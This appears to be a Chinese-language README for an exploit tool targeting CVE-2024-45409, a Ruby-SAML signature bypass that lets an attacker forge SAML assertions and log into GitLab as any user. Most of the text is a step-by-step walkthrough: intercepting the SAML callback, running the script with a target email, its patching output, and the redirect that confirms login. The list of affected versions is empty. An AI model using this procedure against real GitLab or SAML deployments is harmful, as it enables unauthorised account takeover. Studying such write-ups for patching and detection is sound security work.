
Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit
该脚本利用了 CVE-2024-45409 漏洞,允许未经身份验证的攻击者访问 IDP 签发的任何 SAML 文档,从而伪造 SAML 响应/断言,并以任意用户身份登录 GitLab。
以下 GitLab(CE/EE)版本均受影响:
此漏洞利用将修改后的断言的 DigestValue 注入到 StatusDetail 元素中,从而允许夹带 XPath 选择器,使其使用该值而不是 SignedInfo 块中的值。
apt install python3-lxml
先拦截 URL 和 Base64 编码的 IDP SAML 响应,然后使用脚本修改 XML 内容。
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] 解析响应
摘要算法: sha256
规范化方法: http://www.w3.org/2001/10/xml-exc-c14n#
[+] 从响应中移除签名
[+] 修补断言 ID
[+] 修补断言 NameID
[+] 修补断言条件
[+] 将签名移动到断言中
[+] 修补响应 ID
[+] 插入恶意引用
[+] 克隆签名引用
[+] 创建状态详情元素
[+] 修补摘要值
[+] 写入修补后的文件 response_patched.url_base64
之后,用脚本输出替换 SAMLResponse 参数的值。如果认证成功,你将被重定向到 GitLab 首页。
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>您正在被 <a href="http://gitlab.test.local/">重定向</a>。</body></html>